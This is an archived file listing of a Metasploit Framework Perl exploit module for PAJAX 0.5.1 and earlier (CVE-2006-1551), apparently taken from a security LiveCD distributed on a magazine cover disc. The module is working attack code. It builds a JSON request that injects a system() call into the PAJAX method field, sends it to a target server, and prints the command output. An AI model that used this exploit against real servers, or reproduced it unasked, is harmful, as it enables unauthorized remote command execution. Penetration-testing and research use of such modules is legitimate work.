home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / pajax_remote_exec.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  134 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::pajax_remote_exec;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use bytes;
  15.  
  16. my $advanced = { };
  17.  
  18. my $info = {
  19.     'Name'     => 'PAJAX Remote Command Execution',
  20.     'Version'  => '$Revision: 1.2 $',
  21.     'Authors'  => [ 'Matteo Cantoni <goony@nothink.org>' ],
  22.     'Arch'     => [ ],
  23.     'OS'       => [ ],
  24.     'Priv'     => 0,
  25.     'UserOpts' =>
  26.       {
  27.         'RHOST'  => [1, 'ADDR', 'The target address'],
  28.         'RPORT'  => [1, 'PORT', 'The target port', 80],
  29.         'VHOST'  => [0, 'DATA', 'The virtual host name of the server'],
  30.         'DIR'    => [1, 'DATA', 'PAJAX path', '/pajax/pajax/pajax_call_dispatcher.php'],
  31.         'MODULE' => [1, 'DATA', 'PAJAX module', 'Calculator'],
  32.         'SSL'    => [0, 'BOOL', 'Use SSL'],
  33.       },
  34.  
  35.     'Description' => Pex::Text::Freeform(
  36.         qq{
  37.             RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
  38.             It is possible to execute arbitrary PHP code from unchecked user input.
  39.             Additionally, it is possible to include arbitrary files on the server
  40.             ending in ".class.php".
  41. }),
  42.  
  43.     'Refs' =>
  44.       [
  45.         ['OSVDB', '24618'],
  46.         ['BID', '17519'],
  47.         ['CVE', '2006-1551'],
  48.         ['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
  49.         ['MIL', '1672'],
  50.       ],
  51.  
  52.     'Payload' =>
  53.       {
  54.         'Space' => 400,
  55.         'Keys'  => ['cmd'],
  56.       },
  57.  
  58.     'Keys' => ['pajax'],
  59.  
  60.     'DisclosureDate' => '2006-03-30',
  61.   };
  62.  
  63. sub new {
  64.     my $class = shift;
  65.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  66.     return($self);
  67. }
  68.  
  69. sub Exploit {
  70.     my $self = shift;
  71.     my $target_host    = $self->VHost;
  72.     my $target_port    = $self->GetVar('RPORT');
  73.     my $dir            = $self->GetVar('DIR');
  74.     my $module         = $self->GetVar('MODULE');
  75.     my $encodedPayload = $self->GetVar('EncodedPayload');
  76.     my $cmd            = $encodedPayload->RawPayload;
  77.  
  78.     $cmd = Pex::Text::URLEncode($cmd); chomp $cmd;
  79.  
  80.     my $ajaxdata = "{\"id\": \"bb2238f1186dad8d6370d2bab5f290f71\", \"className\": \"$module\", \"method\": \"add(1,1);system($cmd);\$obj->add\", \"params\": [\"1\", \"5\"]}";
  81.  
  82.     my $request =
  83.     "POST $dir HTTP/1.1\r\n".
  84.     "Accept: */*\r\n".
  85.     "Host: $target_host:$target_port\r\n".
  86.     "Content-Length:".length($ajaxdata)."\n\n".$ajaxdata;
  87.     "Connection: Close\r\n".
  88.     "\r\n";
  89.  
  90.     my $s = Msf::Socket::Tcp->new(
  91.         'PeerAddr' => $target_host,
  92.         'PeerPort' => $target_port,
  93.         'SSL'      => $self->GetVar('SSL'),
  94.       );
  95.  
  96.     if ($s->IsError){
  97.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  98.         return;
  99.     }
  100.  
  101.     $self->PrintLine("[*] Establishing a connection to the target...");
  102.  
  103.     $s->Send($request);
  104.  
  105.     my $results = $s->Recv(-1, 20);
  106.  
  107.     my @results = split(/\n/, $results);
  108.  
  109.     if (grep(/^HTTP\/1.1 200 OK/, @results)){
  110.  
  111.         for(0..12){shift @results;}
  112.         for(0..2){pop @results;}
  113.  
  114.         $self->PrintLine('');
  115.  
  116.         foreach(@results){
  117.             $self->PrintLine($_);
  118.         }
  119.     } else{
  120.         $self->PrintLine("[*] This server does not appear to be vulnerable.");
  121.     }
  122.  
  123.     $s->Close();
  124.     return;
  125. }
  126.  
  127. sub VHost {
  128.     my $self = shift;
  129.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  130.     return $name;
  131. }
  132.  
  133. 1;
  134.